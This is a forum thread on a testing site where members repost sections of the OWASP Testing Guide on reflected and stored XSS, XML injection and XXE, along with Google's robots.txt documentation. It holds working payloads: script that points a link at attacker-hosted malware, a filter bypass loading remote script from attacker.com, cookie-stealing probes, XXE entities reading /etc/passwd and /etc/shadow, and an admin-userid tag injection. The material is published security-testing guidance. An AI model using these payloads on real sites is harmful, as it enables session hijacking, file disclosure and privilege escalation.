Quality Testing

Quality is delighting customers

I am doing security testing now using OWASP, so I would like to discuss with you all.

If someone can explain in more detail it will be much appreciated. and you all can add different types of security testing and how to do it. Thanks.

Data Validation testing

TESTING FOR REFLECTED CROSS SITE SCRIPTING

The malicious user has discovered that a field within a website or web application holds a XSS vulnerability. This malicious user then crafts a way to use the vulnerability to execute something malicious to some unknown user. Reflected XSS vulnerabilities occur when a unknowing user is directed to a web application that has a XSS vulnerability, by the malicious user. Once the unknowing user gets to the web site or application the malicious user's attack is executed.

The attack is crafted by a series of url parameters that are sent via a url. The malicious user then sends his/her malicious url with the url parameters to unknowing users. This is typically sent by email, instant messages, blogs or forums, or any other possible methods.

You think that the unknowing user would not click on some link that looked like it does something bad. But the reflected attack can occur using javascript that once an email is opened or even the website is viewed the attack is executed. Additionally the attack is typically url encoded, hex coded, or some other encoding method to try and make the url appear as something valid.

A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's variables and how to input them in the web application. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer or manually.

3. For each vulnerability reported in the previous phase, the tester will analyze the report and attempt to exploit it with an attack that has a realistic impact on the web application's security.

Case 1:

The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. Let's try to click on the following link and see what happens:

http://example.com/index.php?user=<script>alert(123)</script>

If no sanitization is applied this will result in the following popup:

This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

Case 2:

Let's try other piece of code (link):

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");

AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

This produces the following behavior:

This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

Case 3:

To black-box test whether there is a vulnerability or not, the tester will use many test vectors, each circumventing different sanitization procedures, hoping that one will work. For example, let's say that the following code is executed:

<?

$re = "/<script[^>]+src/i";

if (preg_match($re, $_GET['var'])) {

echo "Filtered";

return; }

echo "Welcome ".$_GET['var']." !";

?>

In this scenario there is a regular expression checking if <script [anything but the character: '>' ] src

is inserted. This is useful for filtering expressions like

<script src="http://attacker.com/xss.js"></script>

which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:

http://www.example.com/?var=<SCRIPT%20a=">"%20SRC="http://www.attacker.com/xss.js"></SCRIPT>

This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, www.example.com.

TESTING FOR STORED CROSS SITE SCRIPTING

Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.

DESCRIPTION OF THE ISSUE

Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.

This vulnerability can be used to conduct a number of browser-based attacks including:

• Hijacking another user's browser

• Capturing sensitive information viewed by application users

• Pseudo defacement of the application

• Port scanning of internal hosts ("internal" in relation to the users of the web application)

• Directed delivery of browser-based exploits

• Other malicious activities

Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:

• Attacker stores malicious code into the vulnerable page

• User authenticates in the application

• User visits vulnerable page

• Malicious code is executed by the user's browser

This type of attack can also be exploited with browser exploitation frameworks such as BeEF, XSS Proxy and Backframe. These frameworks allow for complex JavaScript exploit development. Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the

administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.

BLACK BOX TESTING AND EXAMPLE

Input Forms

The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:

• User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.

• Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later

• File Manager: application that allows upload of files

• Application settings/preferences: application that allows the user to set preferences

Analyze HTML code

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page.

Example: Email stored data in index2.php

The HTML code of index2.php where the email value is located:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />

In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE

<!-- />

Testing for Stored XSS

This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:

aaa@aa.com"><script>alert(document.cookie)</script>

aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as WebScarab. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.

Result Expected:

The HTML code following the injection:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script>

The input is stored and the XSS payload is executed by the browser when reloading the page.

If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters.

Views: 677

Reply to This

Replies to This Discussion

good tutorial for SQL injection attached.

Attachments:

document for security testing attached.

Attachments:

XML INJECTION 

BRIEF SUMMARY

We talk about XML Injection testing when we try to inject an XML doc to the application: if the XML parser fails to make an

appropriate data validation the test will results positive.

SHORT DESCRIPTION OF THE ISSUE

In this section, we describe a practical example of XML Injection: first we define an XML style communication, and we show

how it works. Then we describe the discovery method in which we try to insert XML metacharacters. Once the first step is

accomplished, the tester will have some information about XML structure, so it will be possible to try to inject XML data and

tags (Tag Injection).

BLACK BOX TESTING AND EXAMPLE

Let's suppose there is a web application using an XML style communication in order to perform user registration. This is

done by creating and adding a new <user> node on an xmlDb file. Let's suppose xmlDB file is like the following:

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

<user>

<username>gandalf</username>

<password>!c3</password>

<userid>0<userid/>

<mail>gandalf@middleearth.com</mail>

</user>

<user>

<username>Stefan0</username>

<password>w1s3c</password>

<userid>500<userid/>

<mail>Stefan0@whysec.hmm</mail>

</user>

</users>

When a user register himself by filling an HTML form, the application will receive the user's data in a standard request,

which for the sake of simplicity will be supposed to be sent as a GET request.

For example the following values:

Username: tony

Password: Un6R34kb!e

E-mail: s4tan@hell.com

Will produce the request:

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

to the application, which, afterwards, will build the following node:

<user>

246

<username>tony</username>

<password>Un6R34kb!e</password>

<userid>500<userid/>

<mail>s4tan@hell.com</mail>

</user>

which will be added to the xmlDB:

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

<user>

<username>gandalf</username>

<password>!c3</password>

<userid>0<userid/>

<mail>gandalf@middleearth.com</mail>

</user>

<user>

<username>Stefan0</username>

<password>w1s3c</password>

<userid>500<userid/>

<mail>Stefan0@whysec.hmm</mail>

</user>

<user>

<username>tony</username>

<password>Un6R34kb!e</password>

<userid>500<userid/>

<mail>s4tan@hell.com</mail>

</user>

</users>

Discovery

The first step in order to test an application for the presence of a XML Injection vulnerability, consists of trying to insert XML

metacharacters.

A list of XML metacharacters is:

Single quote: ' - When not sanitized, this character could throw an exception during XMLparsing if the injected value is

going to be part of an attribute value in a tag. As an example, let's suppose there is the following attribute:

<node attrib='$inputValue'/>

So, if:

inputValue = foo'

is instantiated and then is inserted into attrib value:

<node attrib='foo''/>

The XML document will be no more well formed.

Double quote: " - this character has the same means of double quotes and it could be used if the attribute value is enclosed

by double quotes.

<node attrib="$inputValue"/>

So if:

OWASP Testing Guide v3.0

247

$inputValue = foo"

the substitution will be:

<node attrib="foo""/>

and the XML document will be no more valid.

Angular parenthesis: > and < - By adding an open or closed angular parenthesis

in a user input like the following:

Username = foo/p>

the application will build a new node:

<user>

<username>foo/username>

<password>Un6R34kb!e</password>

<userid>500</userid>

<mail>s4tan@hell.com</mail>

</user>

but the presence of an open '<' will deny the validation of XML data.

Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/ end of a comment. So by injecting one

of them in Username parameter:

Username = foo<!--

the application will build a node like the following:

<user>

<username>foo<!--</username>

<password>Un6R34kb!e</password>

<userid>500</userid>

<mail>s4tan@hell.com</mail>

</user>

which won't be a valid XML sequence.

Ampersand: & - The ampersand is used in XML syntax to represent XML Entities.

that is, by using an arbitrary entity like '&symbol;' it is possible to map it with a character or a string which will be

considered as non-XML text.

For example:

<tagnode>&lt;</tagnode>

is well formed and valid, and represents the '<' ASCII character.

If '&' is not encoded itself with &amp; it could be used to test XML injection.

In fact, if an input like the following is provided:

Username = &foo

248

a new node will be created:

<user>

<username>&foo</username>

<password>Un6R34kb!e</password>

<userid>500</userid>

<mail>s4tan@hell.com</mail>

</user>

but as &foo doesn't has a final ';' and moreover the &foo; entity is defined nowhere, the XML is not valid.

CDATA begin/end tags: <![CDATA[ / ]]> - When CDATA tag is used, every character enclosed by it is not parsed by the XML

parser.

Often this is used when there are metacharacters inside a text node which are to be considered as text values.

For example if there is the need to represent the string '<foo>' inside a text node it could be used CDATA in the following

way:

<node>

<![CDATA[<foo>]]>

</node>

so that '<foo>' won't be parsed and will be considered as a text value.

If a node is built in the following way:

<username><![CDATA[<$userName]]></username>

the tester could try to inject the end CDATA sequence ']]>' in order to try to invalidate XML.

userName = ]]>

this will become:

<username><![CDATA[]]>]]></username>

which is not a valid XML representation.

External Entity

Another test is related to CDATA tag. When the XML document is parsed, the CDATA value will be eliminated, so it is

possible to add a script if the tag contents will be shown in the HTML page. Suppose there is a node containing text that will

be displayed at the user. If this text could be modified, as the following:

<html>

$HTMLCode

</html>

it is possible to avoid the input filter by inserting HTML text that uses CDATA tag. For example inserting the following value:

$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

we will obtain the following node:

<html>

<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

OWASP Testing Guide v3.0

249

</html>

that in analysis phase will eliminate the CDATA tag and will insert the following value in the HTML:

<script>alert('XSS')</script>

In this case the application will be exposed to an XSS vulnerability. So we can insert some code inside the CDATA tag to

avoid the input validation filter.

Entity: It's possible to define an entity using the DTD. Entity-name as &. is an example of entity. It's possible to specify a URL

as an entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by

the following strings:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

This test could crash the web server (linux system), because we are trying to create an entity with an infinite number of

chars. Other tests are the following:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>

The goal of these tests is to obtain information about the structure of the XML database. If we analyze these errors, we can

find a lot of useful information in relation to the adopted technology.

Tag Injection

Once the first step is accomplished, the tester will have some information about XML structure, so it is possible to try to

inject XML data and tags.

Considering the previous example, by inserting the following values:

Username: tony

Password: Un6R34kb!e

E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com

the application will build a new node and append it to the XML database:

<?xml version="1.0" encoding="ISO-8859-1"?>

250

<users>

<user>

<username>gandalf</username>

<password>!c3</password>

<userid>0</userid>

<mail>gandalf@middleearth.com</mail>

</user>

<user>

<username>Stefan0</username>

<password>w1s3c</password>

<userid>500</userid>

<mail>Stefan0@whysec.hmm</mail>

</user>

<user>

<username>tony</username>

<password>Un6R34kb!e</password>

<userid>500</userid>

<mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>

</user>

</users>

The resulting XML file will be well formed, and it is likely that the userid tag will be considered with the latter value (0 =

admin id). The only shortcoming is that userid tag exists two times in the last user node, and often an XML file is associated

with a schema or a DTD. Let's suppose now that XML structure has the following DTD:

<!DOCTYPE users [

<!ELEMENT users (user+) >

<!ELEMENT user (username,password,userid,mail+) >

<!ELEMENT username (#PCDATA) >

<!ELEMENT password (#PCDATA) >

<!ELEMENT userid (#PCDATA) >

<!ELEMENT mail (#PCDATA) >

]>

Note that the userid node is defined with cardinality 1 (userid).

So if this occurs, any simple attack won't be accomplished when XML is validated against the specified DTD.

If the tester can control some values for nodes enclosing the userid tag (like in this example), by injection a comment

start/end sequence like the following:

Username: tony

Password: Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com

The XML database file will be :

<?xml version="1.0" encoding="ISO-8859-1"?>

<users>

<user>

<username>gandalf</username>

<password>!c3</password>

<userid>0</userid>

<mail>gandalf@middleearth.com</mail>

</user>

<user>

<username>Stefan0</username>

<password>w1s3c</password>

<userid>500</userid>

<mail>Stefan0@whysec.hmm</mail>

</user>

OWASP Testing Guide v3.0

251

<user>

<username>tony</username>

<password>Un6R34kb!e</password><!--</password>

<userid>500</userid>

<mail>--><userid>0</userid><mail>s4tan@hell.com</mail>

</user>

</users>

This way, the original userid tag will be commented out and the one injected will be parsed in compliance to DTD rules.

The result is that user 'tony' will be logged with userid=0 ( which could be an administrator uid)

Attachments:

Hi Itisha,

Thanks for sharing these documents. Actually i am unable to download these documents.

Could you please send to my e-mail id. amita_cuterkl@yahoo.co.in

Thanks in advance.

Regards,

Amita

TESTING: SPIDERS, ROBOTS, AND CRAWLERS

A robots.txt file restricts access to your site by search engine robots that crawl the web. These bots are automated, and before they access pages of a site, they check to see if a robots.txt file exists that prevents them from accessing certain pages. (All respectable robots will respect the directives in a robots.txt file, although some may interpret them differently. However, a robots.txt is not enforceable, and some spammers and other troublemakers may ignore it. For this reason, we recommend password protecting confidential information.)

You need a robots.txt file only if your site includes content that you don't want search engines to index. If you want search engines to index everything in your site, you don't need a robots.txt file (not even an empty one).

While Google won't crawl or index the content of pages blocked by robots.txt, we may still index the URLs if we find them on other pages on the web. As a result, the URL of the page and, potentially, other publicly available information such as anchor text in links to the site, or the title from the Open Directory Project (www.dmoz.org), can appear in Google search results.

In order to use a robots.txt file, you'll need to have access to the root of your domain (if you're not sure, check with your web hoster). If you don't have access to the root of a domain, you can restrict access using the robots meta tag.

To entirely prevent a page's contents from being listed in the Google web index even if other sites link to it, use a noindex meta tag or x-robots-tag. As long as Googlebot fetches the page, it will see the noindex meta tag and prevent that page from showing up in the web index. The x-robots-tag HTTP header is particularly useful if you wish to limit indexing of non-HTML files like graphics or other kinds of documents.

What do you want to do?

Generate a robots.txt file using the Create robots.txt tool

  1. On the Webmaster Tools Home page, click the site you want.
  2. Under Site configuration, click Crawler access.
  3. Click the Create robots.txt tab.
  4. Choose your default robot access. We recommend that you allow all robots, and use the next step to exclude any specific bots you don't want accessing your site. This will help prevent problems with accidentally blocking crucial crawlers from your site.
  5. Specify any additional rules. For example, to block Googlebot from all files and directories on your site:
  6. In the Action list, select Disallow.
  7. In the Robot list, click Googlebot.
  8. In the Files or directories box, type /.
  9. Click Add. The code for your robots.txt file will be automatically generated.
  10. Save your robots.txt file by downloading the file or copying the contents to a text file and saving as robots.txt. Save the file to the highest-level directory of your site. The robots.txt file must reside in the root of the domain and must be named "robots.txt". A robots.txt file located in a subdirectory isn't valid, as bots only check for this file in the root of the domain. For instance, http://www.example.com/robots.txt is a valid location, but http://www.example.com/mysite/robots.txt is not.
  • The rules specified in a robots.txt file are requests, not enforceable orders. Googlebot and all reputable robots will respect the instructions in a robots.txt file. However, some rogue robots—such as those of spammers, scrapers, and other nogoodniks—may not respect the file. Therefore, we recommend that you keep confidential information in a password-protected directory on your server. Also, different robots can interpret robots.txt files differently, and not all robots support every directive included in the file. While we do our best to create robots.txt files that will work for all robots, we can't guarantee how those files will be interpreted.
  • Google currently follows directions in the first 500KB of text in your robots.txt file. Content after the maximum file size may be ignored.

To check that your robots.txt file is behaving as expected, use the Test robots.txt tool on the Blocked URLs (robots.txt) tab of the Crawler Access page in Webmaster Tools.

Manually create a robots.txt file

The simplest robots.txt file uses two rules:

  • User-agent: the robot the following rule applies to
  • Disallow: the URL you want to block

These two lines are considered a single entry in the file. You can include as many entries as you want. You can include multiple Disallow lines and multiple user-agents in one entry.

Each section in the robots.txt file is separate and does not build upon previous sections. For example:

 

User-agent: *

Disallow: /folder1/

 

User-Agent: Googlebot

Disallow: /folder2/

In this example only the URLs matching /folder2/ would be disallowed for Googlebot.

User-agents and bots

A user-agent is a specific search engine robot. The Web Robots Database lists many common bots. You can set an entry to apply to a specific bot (by listing the name) or you can set it to apply to all bots (by listing an asterisk). An entry that applies to all bots looks like this:

 

User-agent: *

Google uses several different bots (user-agents). The bot we use for our web search is Googlebot. Our other bots like Googlebot-Mobile and Googlebot-Image follow rules you set up for Googlebot, but you can set up specific rules for these specific bots as well.

Blocking user-agents

The Disallow line lists the pages you want to block. You can list a specific URL or a pattern. The entry should begin with a forward slash (/).

  • To block the entire site, use a forward slash.

Disallow: /

  • To block a directory and everything in it, follow the directory name with a forward slash.

Disallow: /junk-directory/

  • To block a page, list the page.

Disallow: /private_file.html

  • To remove a specific image from Google Images, add the following:
  • User-agent: Googlebot-Image

Disallow: /images/dogs.jpg

  • To remove all images on your site from Google Images:
  • User-agent: Googlebot-Image

Disallow: /

  • To block files of a specific file type (for example, .gif), use the following:
  • User-agent: Googlebot

Disallow: /*.gif$

  • To prevent pages on your site from being crawled, while still displaying AdSense ads on those pages, disallow all bots other than Mediapartners-Google. This keeps the pages from appearing in search results, but allows the Mediapartners-Google robot to analyze the pages to determine the ads to show. The Mediapartners-Google robot doesn't share pages with the other Google user-agents. For example:
  • User-agent: *
  • Disallow: /
  •  
  • User-agent: Mediapartners-Google

Allow: /

Note that directives are case-sensitive. For instance, Disallow: /junk_file.asp would block http://www.example.com/junk_file.asp, but would allow http://www.example.com/Junk_file.asp. Googlebot will ignore white-space (in particular empty lines)and unknown directives in the robots.txt.

Googlebot supports submission of Sitemap files through the robots.txt file.

Pattern matching

Googlebot (but not all search engines) respects some pattern matching.

  • To match a sequence of characters, use an asterisk (*). For instance, to block access to all subdirectories that begin with private:
  • User-agent: Googlebot

Disallow: /private*/

  • To block access to all URLs that include a question mark (?) (more specifically, any URL that begins with your domain name, followed by any string, followed by a question mark, followed by any string):
  • User-agent: Googlebot

Disallow: /*?

  • To specify matching the end of a URL, use $. For instance, to block any URLs that end with .xls:
  • User-agent: Googlebot

Disallow: /*.xls$

You can use this pattern matching in combination with the Allow directive. For instance, if a ? indicates a session ID, you may want to exclude all URLs that contain them to ensure Googlebot doesn't crawl duplicate pages. But URLs that end with a ? may be the version of the page that you do want included. For this situation, you can set your robots.txt file as follows:

User-agent: *

Allow: /*?$

Disallow: /*?

The Disallow: / *? directive will block any URL that includes a ? (more specifically, it will block any URL that begins with your domain name, followed by any string, followed by a question mark, followed by any string).

The Allow: /*?$ directive will allow any URL that ends in a ? (more specifically, it will allow any URL that begins with your domain name, followed by a string, followed by a ?, with no characters after the ?).

Save your robots.txt file by downloading the file or copying the contents to a text file and saving as robots.txt. Save the file to the highest-level directory of your site. The robots.txt file must reside in the root of the domain and must be named "robots.txt". A robots.txt file located in a subdirectory isn't valid, as bots only check for this file in the root of the domain. For instance, http://www.example.com/robots.txt is a valid location, but http://www.example.com/mysite/robots.txt is not.

Test a robots.txt file

The Test robots.txt tool will show you if your robots.txt file is accidentally blocking Googlebot from a file or directory on your site, or if it's permitting Googlebot to crawl files that should not appear on the web. When you enter the text of a proposed robots.txt file, the tool reads it in the same way Googlebot does, and lists the effects of the file and any problems found.

To test a site's robots.txt file:

  1. On the Webmaster Tools Home page, click the site you want.
  2. Under Site configuration, click Crawler access
  3. If it's not already selected, click the Test robots.txt tab.
  4. Copy the content of your robots.txt file, and paste it into the first box.
  5. In the URLs box, list the site to test against.
  6. In the User-agents list, select the user-agents you want.

Any changes you make in this tool will not be saved. To save any changes, you'll need to copy the contents and paste them into your robots.txt file.

This tool provides results only for Google user-agents (such as Googlebot). Other bots may not interpret the robots.txt file in the same way. For instance, Googlebot supports an extended definition of the standard robots.txt protocol. It understands Allow: directives, as well as some pattern matching. So while the tool shows lines that include these extensions as understood, remember that this applies only to Googlebot and not necessarily to other bots that may crawl your site.

SEARCH ENGINE DISCOVERY/RECONNAISSANCE

BRIEF SUMMARY

This section describes how to search the Google Index and remove the associated web content from the Google Cache.

DESCRIPTION OF THE ISSUE

Once the GoogleBot has completed crawling, it commences indexing the web page based on tags and associated attributes, such as <TITLE>, in order to return the relevant search results.

If the robots.txt file is not updated during the lifetime of the web site, then it is possible for web content not intended to be included in Google's Search Results to be returned. Therefore, it must be removed from the Google Cache.

BLACK BOX TESTING

Using the advanced "site:" search operator, it is possible to restrict Search Results to a specific domain.

Google provides the Advanced "cache:" search operator [2], but this is the equivalent to clicking the "Cached" next to each Google Search Result. Hence, the use of the Advanced "site:" Search Operator and then clicking "Cached" is preferred. The Google SOAP Search API supports the doGetCachedPage and the associated doGetCachedPageResponse SOAP Messages to assist with retrieving cached pages. An implementation of this is under development by the OWASP "Google Hacking" Project.

Hi Itisha can you explain me how to test CSRF(Cross Site Request Foregery)or XSRF 

RSS

TTWT Magazine


Advertisement

Advertisement

Advertisement

Advertisement

© 2020   Created by Quality Testing.   Powered by

Badges  |  Report an Issue  |  Terms of Service